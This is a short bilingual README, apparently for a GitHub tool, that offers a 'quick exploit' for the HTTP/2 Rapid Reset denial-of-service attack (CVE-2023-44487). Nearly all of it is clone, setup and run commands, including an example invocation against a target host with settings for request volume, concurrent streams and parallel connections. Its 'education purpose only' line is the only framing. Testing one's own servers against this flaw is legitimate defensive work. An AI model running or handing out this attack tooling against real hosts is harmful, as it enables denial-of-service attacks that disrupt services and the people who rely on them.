Quick exploit to test out rapid reset attack (CVE-2023-44487). Note: For education purpose only
快速利用程序,用于测试快速重置攻击(CVE-2023-44487)。注意:仅供教育目的。
使用Git将仓库克隆到本地计算机,安装Poetry,然后运行程序:
git clone https://github.com/studiogangster/CVE-2023-44487.git
cd CVE-2023-44487
# install Poetry, if you haven't already:
curl -sSL https://install.python-poetry.org | python -
# poetry install
poetry install
# Activate the virtual environment created by Poetry:
poetry shell
# Run Help
python main.py
## 示例:
python main.py --host example.com --path /api --headers "Authorization: Basic dummy-token ; Custom-Header:Custom-Header-Value" --port 443 --requests_count 100 --max_streams 20 --parallel_connections 2
用法:main.py [OPTIONS]
选项:
--host TEXT 主机URL [required]
--path TEXT 主机上的路径 [required]
--headers TEXT 标头(逗号分隔) [required]
--port INTEGER 端口号 [required]
--requests_count INTEGER 要发送的请求数量 [required]
--max_streams INTEGER 并行打开的最大流数量 [required]
--parallel_connections INTEGER 与服务器建立的并行连接数(TCP连接) [required]
--help 显示此消息并退出。